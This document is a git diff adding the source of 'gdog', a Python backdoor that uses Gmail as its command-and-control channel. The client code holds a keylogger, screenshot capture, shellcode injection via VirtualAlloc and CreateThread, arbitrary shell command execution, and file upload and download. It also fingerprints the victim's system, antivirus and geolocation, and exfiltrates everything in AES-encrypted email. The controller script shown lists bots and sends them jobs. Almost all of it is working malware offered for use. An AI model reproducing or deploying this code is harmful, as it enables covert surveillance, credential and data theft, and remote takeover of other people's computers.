';'.join(self.GPU) + + self.isAdmin + + self.Motherboard + + self.ChassisType + + '{0}@{1}'.format(self.User, self.PCName) + + str(self.TotalRam) + + self.Bios + + self.MAC + ).hexdigest() + + +sysInfo = SystemInfo() + + +WH_KEYBOARD_LL=13 +WM_KEYDOWN=0x0100 +CTRL_CODE = 162 + + +### Following code was stolen from python-mss https://github.com/BoboTiG/python-mss ### +class BITMAPINFOHEADER(Structure): + _fields_ = [('biSize', DWORD), ('biWidth', LONG), ('biHeight', LONG), + ('biPlanes', WORD), ('biBitCount', WORD), + ('biCompression', DWORD), ('biSizeImage', DWORD), + ('biXPelsPerMeter', LONG), ('biYPelsPerMeter', LONG), + ('biClrUsed', DWORD), ('biClrImportant', DWORD)] + +class BITMAPINFO(Structure): + _fields_ = [('bmiHeader', BITMAPINFOHEADER), ('bmiColors', DWORD * 3)] + +class screenshot(threading.Thread): + ''' Mutliple ScreenShots implementation for Microsoft Windows. ''' + + def __init__(self, jobid): + ''' Windows initialisations. ''' + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self._set_argtypes() + self._set_restypes() + self.start() + + def _set_argtypes(self): + ''' Functions arguments. ''' + + self.MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD, POINTER(RECT), + DOUBLE) + windll.user32.GetSystemMetrics.argtypes = [INT] + windll.user32.EnumDisplayMonitors.argtypes = [HDC, c_void_p, + self.MONITORENUMPROC, + LPARAM] + windll.user32.GetWindowDC.argtypes = [HWND] + windll.gdi32.CreateCompatibleDC.argtypes = [HDC] + windll.gdi32.CreateCompatibleBitmap.argtypes = [HDC, INT, INT] + windll.gdi32.SelectObject.argtypes = [HDC, HGDIOBJ] + windll.gdi32.BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, + DWORD] + windll.gdi32.DeleteObject.argtypes = [HGDIOBJ] + windll.gdi32.GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, c_void_p, + POINTER(BITMAPINFO), UINT] + + def _set_restypes(self): + ''' Functions return type. ''' + + windll.user32.GetSystemMetrics.restypes = INT + windll.user32.EnumDisplayMonitors.restypes = BOOL + windll.user32.GetWindowDC.restypes = HDC + windll.gdi32.CreateCompatibleDC.restypes = HDC + windll.gdi32.CreateCompatibleBitmap.restypes = HBITMAP + windll.gdi32.SelectObject.restypes = HGDIOBJ + windll.gdi32.BitBlt.restypes = BOOL + windll.gdi32.GetDIBits.restypes = INT + windll.gdi32.DeleteObject.restypes = BOOL + + def enum_display_monitors(self, screen=-1): + ''' Get positions of one or more monitors. + Returns a dict with minimal requirements. + ''' + + if screen == -1: + SM_XVIRTUALSCREEN, SM_YVIRTUALSCREEN = 76, 77 + SM_CXVIRTUALSCREEN, SM_CYVIRTUALSCREEN = 78, 79 + left = windll.user32.GetSystemMetrics(SM_XVIRTUALSCREEN) + right = windll.user32.GetSystemMetrics(SM_CXVIRTUALSCREEN) + top = windll.user32.GetSystemMetrics(SM_YVIRTUALSCREEN) + bottom = windll.user32.GetSystemMetrics(SM_CYVIRTUALSCREEN) + yield ({ + b'left': int(left), + b'top': int(top), + b'width': int(right - left), + b'height': int(bottom - top) + }) + else: + + def _callback(monitor, dc, rect, data): + ''' Callback for MONITORENUMPROC() function, it will return + a RECT with appropriate values. + ''' + rct = rect.contents + monitors.append({ + b'left': int(rct.left), + b'top': int(rct.top), + b'width': int(rct.right - rct.left), + b'height': int(rct.bottom - rct.top) + }) + return 1 + + monitors = [] + callback = self.MONITORENUMPROC(_callback) + windll.user32.EnumDisplayMonitors(0, 0, callback, 0) + for mon in monitors: + yield mon + + def get_pixels(self, monitor): + ''' Retrieve all pixels from a monitor. Pixels have to be RGB. + [1] A bottom-up DIB is specified by setting the height to a + positive number, while a top-down DIB is specified by + setting the height to a negative number. + https://msdn.microsoft.com/en-us/library/ms787796.aspx + https://msdn.microsoft.com/en-us/library/dd144879%28v=vs.85%29.aspx + ''' + + width, height = monitor[b'width'], monitor[b'height'] + left, top = monitor[b'left'], monitor[b'top'] + SRCCOPY = 0xCC0020 + DIB_RGB_COLORS = BI_RGB = 0 + srcdc = memdc = bmp = None + + try: + bmi = BITMAPINFO() + bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER) + bmi.bmiHeader.biWidth = width + bmi.bmiHeader.biHeight = -height # Why minus? See [1] + bmi.bmiHeader.biPlanes = 1 # Always 1 + bmi.bmiHeader.biBitCount = 24 + bmi.bmiHeader.biCompression = BI_RGB + buffer_len = height * width * 3 + self.image = create_string_buffer(buffer_len) + srcdc = windll.user32.GetWindowDC(0) + memdc = windll.gdi32.CreateCompatibleDC(srcdc) + bmp = windll.gdi32.CreateCompatibleBitmap(srcdc, width, height) + windll.gdi32.SelectObject(memdc, bmp) + windll.gdi32.BitBlt(memdc, 0, 0, width, height, srcdc, left, top, + SRCCOPY) + bits = windll.gdi32.GetDIBits(memdc, bmp, 0, height, self.image, + bmi, DIB_RGB_COLORS) + if bits != height: + raise Exception('MSS: GetDIBits() failed.') + finally: + # Clean up + if srcdc: + windll.gdi32.DeleteObject(srcdc) + if memdc: + windll.gdi32.DeleteObject(memdc) + if bmp: + windll.gdi32.DeleteObject(bmp) + + # Replace pixels values: BGR to RGB + self.image[2:buffer_len:3], self.image[0:buffer_len:3] = \ + self.image[0:buffer_len:3], self.image[2:buffer_len:3] + return self.image + + def save(self, + output='screenshot-%d.png', + screen=-1, + callback=lambda *x: True): + ''' Grab a screenshot and save it to a file. + Parameters: + - output - string - the output filename. It can contain '%d' which + will be replaced by the monitor number. + - screen - int - grab one screenshot of all monitors (screen=-1) + grab one screenshot by monitor (screen=0) + grab the screenshot of the monitor N (screen=N) + - callback - function - in case where output already exists, call + the defined callback function with output + as parameter. If it returns True, then + continue; else ignores the monitor and + switches to ne next. + This is a generator which returns created files. + ''' + + # Monitors screen shots! + for i, monitor in enumerate(self.enum_display_monitors(screen)): + if screen <= 0 or (screen > 0 and i + 1 == screen): + fname = output + if '%d' in output: + fname = output.replace('%d', str(i + 1)) + callback(fname) + self.save_img(data=self.get_pixels(monitor), + width=monitor[b'width'], + height=monitor[b'height'], + output=fname) + yield fname + + def save_img(self, data, width, height, output): + ''' Dump data to the image file. + Pure python PNG implementation. + Image represented as RGB tuples, no interlacing. + http://inaps.org/journal/comment-fonctionne-le-png + ''' + + zcrc32 = crc32 + zcompr = compress + len_sl = width * 3 + scanlines = b''.join( + [b'0' + data[y * len_sl:y * len_sl + len_sl] + for y in range(height)]) + + magic = pack(b'>8B', 137, 80, 78, 71, 13, 10, 26, 10) + + # Header: size, marker, data, CRC32 + ihdr = [b'', b'IHDR', b'', b''] + ihdr[2] = pack(b'>2I5B', width, height, 8, 2, 0, 0, 0) + ihdr[3] = pack(b'>I', zcrc32(b''.join(ihdr[1:3])) & 0xffffffff) + ihdr[0] = pack(b'>I', len(ihdr[2])) + + # Data: size, marker, data, CRC32 + idat = [b'', b'IDAT', b'', b''] + idat[2] = zcompr(scanlines, 9) + idat[3] = pack(b'>I', zcrc32(b''.join(idat[1:3])) & 0xffffffff) + idat[0] = pack(b'>I', len(idat[2])) + + # Footer: size, marker, None, CRC32 + iend = [b'', b'IEND', b'', b''] + iend[3] = pack(b'>I', zcrc32(iend[1]) & 0xffffffff) + iend[0] = pack(b'>I', len(iend[2])) + + with open(os.path.join(os.getenv('TEMP') + output), 'wb') as fileh: + fileh.write( + magic + b''.join(ihdr) + b''.join(idat) + b''.join(iend)) + return + err = 'MSS: error writing data to "{0}".'.format(output) + raise Exception(err) + + def run(self): + img_name = genRandomString() + '.png' + for filename in self.save(output=img_name, screen=-1): + sendEmail({'cmd': 'screenshot', 'res': 'Screenshot taken'}, jobid=self.jobid, attachment=[os.path.join(os.getenv('TEMP') + img_name)]) + +### End of python-mss code ### + + +class MessageParser: + + def __init__(self, msg_data): + self.attachment = None + self.getPayloads(msg_data) + self.getSubjectHeader(msg_data) + self.getDateHeader(msg_data) + + def getPayloads(self, msg_data): + for payload in email.message_from_string(msg_data[1][0][1]).get_payload(): + if payload.get_content_maintype() == 'text': + self.text = payload.get_payload() + self.dict = json.loads(infoSec.Decrypt(payload.get_payload())) + + elif payload.get_content_maintype() == 'application': + self.attachment = payload.get_payload() + + def getSubjectHeader(self, msg_data): + self.subject = email.message_from_string(msg_data[1][0][1])['Subject'] + + def getDateHeader(self, msg_data): + self.date = email.message_from_string(msg_data[1][0][1])['Date'] + + +class keylogger(threading.Thread): + #Stolen from http://earnestwish.com/2015/06/09/python-keyboard-hooking/ + exit = False + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.hooked = None + self.keys = '' + self.start() + + def installHookProc(self, pointer): + self.hooked = ctypes.windll.user32.SetWindowsHookExA( + WH_KEYBOARD_LL, + pointer, + windll.kernel32.GetModuleHandleW(None), + 0 + ) + + if not self.hooked: + return False + return True + + def uninstallHookProc(self): + if self.hooked is None: + return + ctypes.windll.user32.UnhookWindowsHookEx(self.hooked) + self.hooked = None + + def getFPTR(self, fn): + CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) + return CMPFUNC(fn) + + def hookProc(self, nCode, wParam, lParam): + if wParam is not WM_KEYDOWN: + return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) + + self.keys += chr(lParam[0]) + + if len(self.keys) > 100: + sendEmail({'cmd': 'keylogger', 'res': r'{}'.format(self.keys)}, self.jobid) + self.keys = '' + + if (CTRL_CODE == int(lParam[0])) or (self.exit == True): + sendEmail({'cmd': 'keylogger', 'res': 'Keylogger stopped'}, self.jobid) + self.uninstallHookProc() + + return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) + + def startKeyLog(self): + msg = MSG() + ctypes.windll.user32.GetMessageA(ctypes.byref(msg),0,0,0) + + def run(self): + pointer = self.getFPTR(self.hookProc) + + if self.installHookProc(pointer): + sendEmail({'cmd': 'keylogger', 'res': 'Keylogger started'}, self.jobid) + self.startKeyLog() + + +class download(threading.Thread): + + def __init__(self, jobid, filepath): + threading.Thread.__init__(self) + self.jobid = jobid + self.filepath = filepath + + self.daemon = True + self.start() + + def run(self): + try: + if os.path.exists(self.filepath) is True: + sendEmail({'cmd': 'download', 'res': 'Success'}, self.jobid, [self.filepath]) + else: + sendEmail({'cmd': 'download', 'res': 'Path to file invalid'}, self.jobid) + except Exception as e: + sendEmail({'cmd': 'download', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class downloadfromurl(threading.Thread): + + def __init__(self, jobid, url): + threading.Thread.__init__(self) + self.jobid = jobid + self.url = url + self.daemon = True + self.start() + + def run(self): + try: + urllib.urlretrieve(self.url, os.path.join(os.getenv('TEMP') + '\\' + self.url.split('/')[-1])) + sendEmail({'cmd': 'downloadfromurl', 'res': 'Success'}, self.jobid, [self.url]) + except Exception as e: + sendEmail({'cmd': 'downloadfromurl', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class tasks(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def _detectRunningProcesses(self): + pythoncom.CoInitialize() + procs = [] + w = wmi.WMI () + for process in w.Win32_Process (): + procs.append('{0};{1}'.format(process.ProcessId, process.Name)) + return procs + + def run(self): + try: + sendEmail({'cmd': 'tasks', 'res': self._detectRunningProcesses()}, self.jobid) + except Exception as e: + sendEmail({'cmd': 'tasks', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class services(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def _detectServices(self): + pythoncom.CoInitialize() + srvs = [] + w = wmi.WMI () + for service in w.Win32_Service (): + srvs.append('{0};{1}'.format(service.Name, str(service.StartMode))) + return srvs + + def run(self): + try: + sendEmail({'cmd': 'services', 'res': self._detectServices()}, self.jobid) + except Exception as e: + sendEmail({'cmd': 'services', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class users(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def _detectUsers(self): + pythoncom.CoInitialize() + usr = [] + w = wmi.WMI () + for user in w.Win32_UserAccount (): + usr.append('{0};{1};{2}'.format(user.Name, str(AccountType(user.AccountType)).split('.')[1], 'Disabled' if user.Disabled else 'Enabled')) + return usr + + def run(self): + try: + sendEmail({'cmd': 'users', 'res': self._detectUsers()}, self.jobid) + except Exception as e: + sendEmail({'cmd': 'users', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class devices(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def _detectDevices(self): + pythoncom.CoInitialize() + devs = [] + w = wmi.WMI () + for dev in w.Win32_PnPEntity (): + devs.append('{0};{1}'.format(dev.Name, dev.Manufacturer)) + return devs + + def run(self): + try: + sendEmail({'cmd': 'devices', 'res': self._detectDevices()}, self.jobid) + except Exception as e: + sendEmail({'cmd': 'devices', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class upload(threading.Thread): + + def __init__(self, jobid, dest, attachment): + threading.Thread.__init__(self) + self.jobid = jobid + self.dest = dest + self.attachment = attachment + self.daemon = True + self.start() + + def run(self): + try: + with open(self.dest, 'wb') as fileh: + fileh.write(b64decode(self.attachment)) + sendEmail({'cmd': 'upload', 'res': 'Success'}, self.jobid) + except Exception as e: + sendEmail({'cmd': 'upload', 'res': 'Failed: {}'.format(e)}, self.jobid) + + +class lockScreen(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + ctypes.windll.user32.LockWorkStation() + sendEmail({'cmd': 'lockscreen', 'res': 'Success'}, jobid=self.jobid) + except Exception as e: + #if verbose == True: print print_exc() + pass + + +class shutdown(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + sendEmail({'cmd': 'shutdown', 'res': 'Success'}, jobid=self.jobid) + time.sleep(3) + subprocess.call(["shutdown", "/f", "/s", "/t", "0"]) + except Exception as e: + #if verbose == True: print print_exc() + pass + + +class restart(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + sendEmail({'cmd': 'restart', 'res': 'Success'}, jobid=self.jobid) + time.sleep(3) + subprocess.call(["shutdown", "/f", "/r", "/t", "0"]) + except Exception as e: + #if verbose == True: print print_exc() + pass + +class jitter(threading.Thread ): + + def __init__(self, command, jobid): + threading.Thread.__init__(self) + self.command = command + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + global JITTER + JITTER = self.command + sendEmail({'cmd': 'jitter', 'res': 'Success with Changing Jitter too %s Seconds' %str(JITTER)}, jobid=self.jobid) + + except Exception as e: + #if verbose == True: print print_exc() + pass + +class email_check(threading.Thread ): + + def __init__(self, command, jobid): + threading.Thread.__init__(self) + self.command = command + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + global EMAIL_KNOCK_TIMEOUT + EMAIL_KNOCK_TIMEOUT = self.command + sendEmail({'cmd': 'email_check', 'res': 'Success with changing Email Check in time too %s Seconds' %str(EMAIL_KNOCK_TIMEOUT)}, jobid=self.jobid) + time.sleep(3) + + except Exception as e: + #if verbose == True: print print_exc() + pass + + +class logoff(threading.Thread): + + def __init__(self, jobid): + threading.Thread.__init__(self) + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + sendEmail({'cmd': 'logoff', 'res': 'Success'}, jobid=self.jobid) + time.sleep(3) + subprocess.call(["shutdown", "/f", "/l"]) + except Exception as e: + #if verbose == True: print print_exc() + pass + +class execShellcode(threading.Thread): + + def __init__(self, shellc, jobid): + threading.Thread.__init__(self) + self.shellc = shellc + self.jobid = jobid + + self.daemon = True + self.start() + + def run(self): + try: + shellcode = self.shellc.decode("string_escape") + shellcode = bytearray(shellcode) + + ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), + ctypes.c_int(len(shellcode)), + ctypes.c_int(0x3000), + ctypes.c_int(0x40)) + + buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) + + ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) + + ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), + ctypes.c_int(0), + ctypes.c_int(ptr), + ctypes.c_int(0), + ctypes.c_int(0), + ctypes.pointer(ctypes.c_int(0))) + + ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) + + except Exception as e: + #if verbose == True: print_exc() + pass + + +class visitwebsite(threading.Thread): + + def __init__(self, url, jobid): + threading.Thread.__init__(self) + self.url = url + self.jobid = jobid + self.daemon = True + self.start() + + def run(self): + try: + urllib2.urlopen(self.url).read() + sendEmail({'cmd': 'visitwebsite', 'res': 'Success'}, jobid=self.jobid) + except Exception as e: + #if verbose == True: print_exc() + pass + + +class execCmd(threading.Thread): + + def __init__(self, command, jobid): + threading.Thread.__init__(self) + self.command = command + self.jobid = jobid + + self.daemon = True + self.start() + + def run(self): + try: + proc = subprocess.Popen(self.command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + stdout_value = proc.stdout.read() + stdout_value += proc.stderr.read() + + sendEmail({'cmd': self.command, 'res': stdout_value}, jobid=self.jobid) + except Exception as e: + #if verbose == True: print_exc() + pass + + +class message(threading.Thread): + + def __init__(self, TextAndTitle, jobid): + threading.Thread.__init__(self) + self.TextAndTitle = TextAndTitle + self.jobid = jobid + + self.daemon = True + self.start() + + def run(self): + try: + ctypes.windll.user32.MessageBoxW(0, self.TextAndTitle[0], self.TextAndTitle[1], 0) + sendEmail({'cmd': 'message', 'res': 'Success'}, jobid=self.jobid) + except Exception as e: + #if verbose == True: print_exc() + pass + + +def genRandomString(slen=10): + return ''.join(random.sample(string.ascii_letters + string.digits, slen)) + + +def detectForgroundWindows(): + #Stolen fom https://sjohannes.wordpress.com/2012/03/23/win32-python-getting-all-window-titles/ + EnumWindows = ctypes.windll.user32.EnumWindows + EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int)) + GetWindowText = ctypes.windll.user32.GetWindowTextW + GetWindowTextLength = ctypes.windll.user32.GetWindowTextLengthW + IsWindowVisible = ctypes.windll.user32.IsWindowVisible + + titles = [] + def foreach_window(hwnd, lParam): + if IsWindowVisible(hwnd): + length = GetWindowTextLength(hwnd) + buff = ctypes.create_unicode_buffer(length + 1) + GetWindowText(hwnd, buff, length + 1) + titles.append(buff.value) + return True + + EnumWindows(EnumWindowsProc(foreach_window), 0) + + return titles + + +class sendEmail(threading.Thread): + + def __init__(self, text, jobid='', attachment=[], checkin=False): + threading.Thread.__init__(self) + self.text = text + self.jobid = jobid + self.attachment = attachment + self.checkin = checkin + self.daemon = True + self.start() + + def run(self): + sub_header = sysInfo.UniqueID + if self.jobid: + sub_header = 'dmp:{}:{}'.format(sysInfo.UniqueID, self.jobid) + elif self.checkin: + sub_header = 'hereiam:{}'.format(sysInfo.UniqueID) + + msg = MIMEMultipart() + msg['From'] = sub_header + msg['To'] = gmail_user + msg['Subject'] = sub_header + + message_content = infoSec.Encrypt(json.dumps({ + 'fgwindow': detectForgroundWindows(), + 'user': '{0}@{1}'.format(sysInfo.User, sysInfo.PCName), + 'arch': sysInfo.Architecture, + 'os': sysInfo.WinVer, + 'cpu': sysInfo.CPU, + 'gpu': sysInfo.GPU, + 'motherboard': sysInfo.Motherboard, + 'isAdmin': sysInfo.isAdmin, + 'chassistype': sysInfo.ChassisType, + 'totalram': sysInfo.TotalRam, + 'bios': sysInfo.Bios, + 'pid': sysInfo.PID, + 'mac': sysInfo.MAC, + 'ipv4': sysInfo.IPv4, + 'av': sysInfo.Antivirus, + 'firewall': sysInfo.Firewall, + 'antispyware': sysInfo.Antispyware, + 'geolocation': sysInfo.Geolocation, + 'tag': TAG, + 'version': VERSION, + 'msg': self.text + })) + + msg.attach(MIMEText(str(message_content))) + + for attach in self.attachment: + if os.path.exists(attach) == True: + part = MIMEBase('application', 'octet-stream') + part.set_payload(open(attach, 'rb').read()) + Encoders.encode_base64(part) + part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach))) + msg.attach(part) + + while True: + try: + mailServer = SMTP() + mailServer.connect(server, server_port) + mailServer.starttls() + mailServer.login(gmail_user,gmail_pwd) + mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) + mailServer.quit() + break + except Exception as e: + #if verbose == True: print_exc() + time.sleep(10) + + +def checkJobs(): + #Here we check the inbox for queued jobs, parse them and start a thread + #EMAIL_KNOCK_TIMEOUT = 60 # seconds - check for new commands/jobs every EMAIL_KNOCK_TIMEOUT seconds + #JITTER = 100 + while True: + + try: + c = imaplib.IMAP4_SSL(server) + c.login(gmail_user, gmail_pwd) + c.select("INBOX") + + typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'gdog:{}')".format(sysInfo.UniqueID)) + + for msg_id in id_list[0].split(): + + #logging.debug("[checkJobs] parsing message with uid: {}".format(msg_id)) + + msg_data = c.uid('fetch', msg_id, '(RFC822)') + msg = MessageParser(msg_data) + jobid = msg.subject.split(':')[2] + + if msg.dict: + cmd = msg.dict['cmd'].lower() + arg = msg.dict['arg'] + + #logging.debug("[checkJobs] CMD: {} JOBID: {}".format(cmd, jobid)) + + if cmd == 'execshellcode': + execShellcode(arg, jobid) + + elif cmd == 'download': + download(jobid, arg) + + elif cmd == 'downloadfromurl': + downloadfromurl(jobid, arg) + + elif cmd == 'upload': + upload(jobid, arg, msg.attachment) + + elif cmd == 'screenshot': + screenshot(jobid) + + elif cmd == 'tasks': + tasks(jobid) + + elif cmd == 'services': + services(jobid) + + elif cmd == 'users': + users(jobid) + + elif cmd == 'devices': + devices(jobid) + + elif cmd == 'cmd': + execCmd(arg, jobid) + + elif cmd == 'visitwebsite': + visitwebsite(arg, jobid) + + elif cmd == 'message': + message(arg, jobid) + + elif cmd == 'lockscreen': + lockScreen(jobid) + + elif cmd == 'shutdown': + shutdown(jobid) + + elif cmd == 'restart': + restart(jobid) + + elif cmd == 'logoff': + logoff(jobid) + + elif cmd == 'startkeylogger': + keylogger.exit = False + keylogger(jobid) + + elif cmd == 'stopkeylogger': + keylogger.exit = True + + elif cmd == 'forcecheckin': + sendEmail("Host checking in as requested", checkin=True) + + elif cmd == 'email_check': + email_check(arg, jobid) + #EMAIL_KNOCK_TIMEOUT = int(arg) + sendEmail("Email Checking changed too: %s seconds" % str(arg), checkin=True) + + elif cmd == 'jitter': + + jitter(arg, jobid) + #JITTER = int(arg) + sendEmail("JITTER UPDATED too: %s seconds" % str(arg), checkin=True) + + + else: + raise NotImplementedError + + c.logout() + + + if JITTER != 100: + JITTER_HIGH =((EMAIL_KNOCK_TIMEOUT * JITTER) /100.0) * 3 + JITTER_LOW = (EMAIL_KNOCK_TIMEOUT * JITTER) /100.0 + + time.sleep(random.randrange(JITTER_LOW, JITTER_HIGH)) + else: + time.sleep(EMAIL_KNOCK_TIMEOUT) + + + except Exception as e: + #logging.debug(format_exc()) + time.sleep(EMAIL_KNOCK_TIMEOUT) + + +if __name__ == '__main__': + sendEmail("Welcome!! :D", checkin=True) + try: + checkJobs() + except KeyboardInterrupt: + pass + + \ No newline at end of file diff --git a/gdog/data/.gitignore b/gdog/data/.gitignore new file mode 100644 index 0000000..d6b7ef3 --- /dev/null +++ b/gdog/data/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/gdog/gdog.py b/gdog/gdog.py new file mode 100644 index 0000000..be957a8 --- /dev/null +++ b/gdog/gdog.py @@ -0,0 +1,380 @@ +""" + This file is part of gdog + Copyright (C) 2016 @maldevel + https://github.com/maldevel/gdog + + gdog - A fully featured backdoor that uses Gmail as a C&C server + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + For more see the file 'LICENSE' for copying permission. +""" + +__author__ = "maldevel" +__copyright__ = "Copyright (c) 2016 @maldevel" +__credits__ = ["maldevel", "carnal0wnage", "byt3bl33d3r"] +__license__ = "GPLv3" +__version__ = "1.1" +__maintainer__ = "maldevel" + + +##################### +import argparse +import email +import imaplib +import sys +import base64 +import string +import os +import json +import random +import hashlib + +from base64 import b64decode +from smtplib import SMTP +from argparse import RawTextHelpFormatter +from email.MIMEMultipart import MIMEMultipart +from email.MIMEBase import MIMEBase +from email.MIMEText import MIMEText +from email import Encoders +from Crypto.Cipher import AES +from Crypto import Random +###################################################### + + +############################################ +gmail_user = 'gdog.mail.account@gmail.com' +gmail_pwd = '!y0ur_p@ssw0rd!' +server = "smtp.gmail.com" +server_port = 587 +AESKey = 'my_AES_key' +############################################ + + +def generateJobID(): + return hashlib.sha256(''.join(random.sample(string.ascii_letters + string.digits, 30))).hexdigest() + +class InfoSecurity: + + def __init__(self): + self.bs = 32 + self.key = hashlib.sha256(AESKey.encode()).digest() + + def Encrypt(self, plainText): + raw = self._pad(plainText) + iv = Random.new().read(AES.block_size) + cipher = AES.new(self.key, AES.MODE_CBC, iv) + return base64.b64encode(iv + cipher.encrypt(raw)) + + def Decrypt(self, cipherText): + enc = base64.b64decode(cipherText) + iv = enc[:AES.block_size] + cipher = AES.new(self.key, AES.MODE_CBC, iv) + return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8') + + def _pad(self, s): + return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs) + + def _unpad(self, s): + return s[:-ord(s[len(s)-1:])] + +infoSec = InfoSecurity() + + +class MessageParser: + + def __init__(self, msg_data): + self.attachment = None + self.getPayloads(msg_data) + self.getSubjectHeader(msg_data) + self.getDateHeader(msg_data) + + def getPayloads(self, msg_data): + for payload in email.message_from_string(msg_data[1][0][1]).get_payload(): + if payload.get_content_maintype() == 'text': + self.text = payload.get_payload() + self.dict = json.loads(infoSec.Decrypt(payload.get_payload())) + + elif payload.get_content_maintype() == 'application': + self.attachment = payload.get_payload() + + def getSubjectHeader(self, msg_data): + self.subject = email.message_from_string(msg_data[1][0][1])['Subject'] + + def getDateHeader(self, msg_data): + self.date = email.message_from_string(msg_data[1][0][1])['Date'] + + +class Gdog: + + def __init__(self): + self.c = imaplib.IMAP4_SSL(server) + self.c.login(gmail_user, gmail_pwd) + + def sendEmail(self, botid, jobid, cmd, arg='', attachment=[]): + + if (botid is None) or (jobid is None): + sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)") + + sub_header = 'gdog:{}:{}'.format(botid, jobid) + + msg = MIMEMultipart() + msg['From'] = sub_header + msg['To'] = gmail_user + msg['Subject'] = sub_header + msgtext = json.dumps({'cmd': cmd, 'arg': arg}) + msg.attach(MIMEText(str(infoSec.Encrypt(msgtext)))) + + for attach in attachment: + if os.path.exists(attach) == True: + part = MIMEBase('application', 'octet-stream') + part.set_payload(open(attach, 'rb').read()) + Encoders.encode_base64(part) + part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach))) + msg.attach(part) + + mailServer = SMTP() + mailServer.connect(server, server_port) + mailServer.starttls() + mailServer.login(gmail_user,gmail_pwd) + mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) + mailServer.quit() + + print "[*] Command sent successfully with jobid: {}".format(jobid) + + + def checkBots(self): + bots = [] + self.c.select(readonly=1) + rcode, idlist = self.c.uid('search', None, "(SUBJECT 'hereiam:')") + + for idn in idlist[0].split(): + msg_data = self.c.uid('fetch', idn, '(RFC822)') + msg = MessageParser(msg_data) + + try: + botid = str(msg.subject.split(':')[1]) + if botid not in bots: + bots.append(botid) + + print botid, msg.dict['os'] + + except ValueError: + pass + + def getBotInfo(self, botid): + + if botid is None: + sys.exit("[-] You must specify a client id (-id)") + + self.c.select(readonly=1) + rcode, idlist = self.c.uid('search', None, "(SUBJECT 'hereiam:{}')".format(botid)) + + for idn in idlist[0].split(): + msg_data = self.c.uid('fetch', idn, '(RFC822)') + msg = MessageParser(msg_data) + + print "ID: " + botid + print "DATE: '{}'".format(msg.date) + print "PID: " + str(msg.dict['pid']) + print "USER: " + str(msg.dict['user']) + print "OS: " + str(msg.dict['os']) + print "ARCHITECTURE: " + str(msg.dict['arch']) + print "CPU: " + str(msg.dict['cpu']) + print "GPU: " + str(msg.dict['gpu']) + print "MOTHERBOARD: " + str(msg.dict['motherboard']) + print "CHASSIS TYPE: " + str(msg.dict['chassistype']) + print "ADMIN: " + str(msg.dict['isAdmin']) + print "TOTAL RAM: {}GB".format(str(msg.dict['totalram'])) + print "BIOS: " + str(msg.dict['bios']) + print "MAC ADDRESS: " + str(msg.dict['mac']) + print "LOCAl IPv4 ADDRESS: " + str(msg.dict['ipv4']) + print "Antivirus: '{}'".format(msg.dict['av']) + print "Firewall: '{}'".format(msg.dict['firewall']) + print "Antispyware: '{}'".format(msg.dict['antispyware']) + print "TAG: " + str(msg.dict['tag']) + print "CLIENT VERSION: " + str(msg.dict['version']) + print "GEOLOCATION: '{}'".format(msg.dict['geolocation']) + print "FG WINDOWS: '{}'\n".format(msg.dict['fgwindow']) + + + def getJobResults(self, botid, jobid): + + if (botid is None) or (jobid is None): + sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)") + + self.c.select(readonly=1) 